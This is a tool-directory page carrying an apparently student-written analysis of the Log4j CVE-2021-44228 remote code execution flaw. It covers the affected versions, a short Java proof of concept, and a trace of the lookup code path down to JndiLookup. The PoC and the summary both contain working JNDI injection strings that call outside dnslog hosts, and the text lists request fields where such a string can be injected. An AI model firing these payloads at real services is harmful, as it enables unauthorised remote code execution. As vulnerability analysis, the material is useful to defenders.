Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228-Log4j-lookup-Rce — Detailed analysis and proof-of-concept for CVE-2021-44228 (Log4j RCE), including environment setup, vulnerability analysis, JNDI injection mechanism, and reproduction steps. | Kitploit
Tools/GitHubGitHub/m1nggod/cve-2021-44228-log4j-lookup-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationPayload Development
GitHubm1nggod/cve-2021-44228-log4j-lookup-rce

CVE-2021-44228-Log4j-lookup-Rce

Detailed analysis and proof-of-concept for CVE-2021-44228 (Log4j RCE), including environment setup, vulnerability analysis, JNDI injection mechanism, and reproduction steps.

View Repository
4234 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →
Share

0x01、Environment

Jdk7u21 (any version works)

Affected versions: Apache Log4j 2.x <= 2.14.1

Known affected applications and components:

Apache Solr

Apache Flink

Apache Druid

spring-boot-starter-log4j2

log4j coordinates

<dependency>
   <groupId>org.apache.logging.log4j</groupId>
   <artifactId>log4j-core</artifactId>
   <version>2.11.1</version>
</dependency>

Poc

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;




public class test2 {
    private static Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {
        LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
    }
}

0x02、Analysis

Looking at the payload, we naturally search for log4j lookup or log4j jndi.

https://logging.apache.org/log4j/2.x/manual/lookups.html [English documentation]

https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [Chinese documentation]

We can see how to use it. It's not hard to notice that jndi is supported here, and jndi supports other protocols which will be converted, inevitably reminding us of ldap. Let's debug to see. Because I debugged until 5:30 last night, and had class this morning, I went to sleep, only keeping screenshots of the analysis process.

Without further ado, let's continue. Since I debugged quite a few times last night, I'll directly jump to the key point.

Directly to the key point: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

We follow into this method. In native Java, this method formats strings; not sure if it's the same here.

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Here, getMessage() retrieves our payload. Why?

We won't belabor this point. Let's continue.

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

It can be seen that it checks whether the string starts with ${. If so, it executes, triggering the vulnerability point.

Documentation for this method can be found at https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html

It seems that reading the documentation is pretty much enough. Here, it's obtaining the variable resolver.

Then it enters org.apache.logging.log4j.core.lookup.Interpolator#lookup

Gets the corresponding prefix, selects the corresponding jndi class object - JndiLookup.

Thus performing JNDI injection, achieving remote class loading.

0x03、Exploitation

image

  1. JNDI is on the server, making the target request the class file from the server.
  2. Note that the log4j vulnerability trigger point is wherever logs are recorded. Examples of places where log4j may record: HTTP request headers, cookies, login forms, GET parameters, POST parameters, etc.

0x04、Summary

According to the official documentation, it's essentially through formatting that ${jndi:ldap://uci5xf.dnslog.cn/test} is replaced with actual data.

Reference article: https://blog.csdn.net/lqzkcx3/article/details/82050375 Log4j uses lookup to obtain a protocol, and obtains that the protocol is jndi, data, sys, etc. It's stored in a map format. It detects the corresponding key, obtains the corresponding lookup, and executes it, forming a standard JNDI injection vulnerability.

Download Tool